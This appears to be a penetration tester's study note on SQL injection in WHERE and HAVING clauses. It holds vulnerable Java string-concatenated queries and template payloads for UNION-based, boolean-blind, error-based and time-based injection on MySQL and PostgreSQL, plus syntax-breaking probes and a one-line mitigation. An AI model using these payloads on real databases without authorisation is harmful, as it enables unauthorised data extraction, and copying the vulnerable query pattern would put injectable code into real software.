🧠 SQLi Context - WHERE and HAVING

String userId = request.getParameter(“id”); String query1 = “SELECT username, role FROM users WHERE id = ” + userId; // Vulnerable Context 2: String (Requires ' to escape) String category = request.getParameter(“category”); String query2 = “SELECT name, price FROM products WHERE category = ’” + category + ”’“;

**Where To Look For The Vulnerability**
Look for any feature that filters, searches, or retrieves specific records.
- **URL Parameters:** `?id=5`, `?category=books`, `?author_id=2`
- **Authentication Forms:** Login pages (`username` and `password` fields).
- **API Endpoints:** JSON bodies like `{"userId": 105}`
- **Hidden Fields:** State trackers or session parameters passed in POST requests.

Exploitations

The payloads below assume an Integer Context. If you are in a String Context, prefix the payloads with ' to close the developer’s string, and ensure you append -- or # (depending on the SQL engine) to comment out their trailing quote.

SQLi - UNION-based

Make the original WHERE condition false (so it returns nothing) and append your own data.

-1 UNION {SELECT_query}-- 
' AND 1=0 UNION {SELECT_query}--

SQLi - Boolean-based Blind

Append AND / OR conditions to ask the database True/False questions.

-- Syntax: [Valid ID] AND ([Your Condition])--
 
-- Example: Checking if the admin password starts with 'A' (ASCII 65)
1 AND (ASCII(SUBSTRING(({query}), 1, 1)) = 65)--

SQLi - Error-based

Force a database error that prints out your target data.

-- Syntax: [Valid/Invalid ID] AND [Error Function]--
 
-- MySQL: XPATH Error
1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({query})))--
 
-- PostgreSQL: Cast Error
1 AND CAST(({query}) AS INT)--

SQLi - Time-based Blind

-- Syntax: [Valid ID] AND (IF/CASE Statement with Sleep)--
 
-- MySQL: If the first char is 'A', sleep 5 seconds
1 AND IF(ASCII(SUBSTRING(({query}), 1, 1))=65, SLEEP(5), 0)--
 
-- PostgreSQL:
1 AND (SELECT CASE WHEN (ASCII(SUBSTRING(({query}), 1, 1))=65) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

Note: Before dropping payloads, test how to cleanly break the syntax without causing a fatal 500 error.

  • Integer: id=1 Inject directly: id=1 AND 1=1
  • String: name='admin' Close quote: name=admin' AND 1=1--
  • Parentheses: id=(1) Close parenthesis: id=1) AND 1=1--
  • String + Parentheses: name=('admin') Close both: name=admin') AND 1=1--

Mitigation

  • Fix: Use Prepared Statements
TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC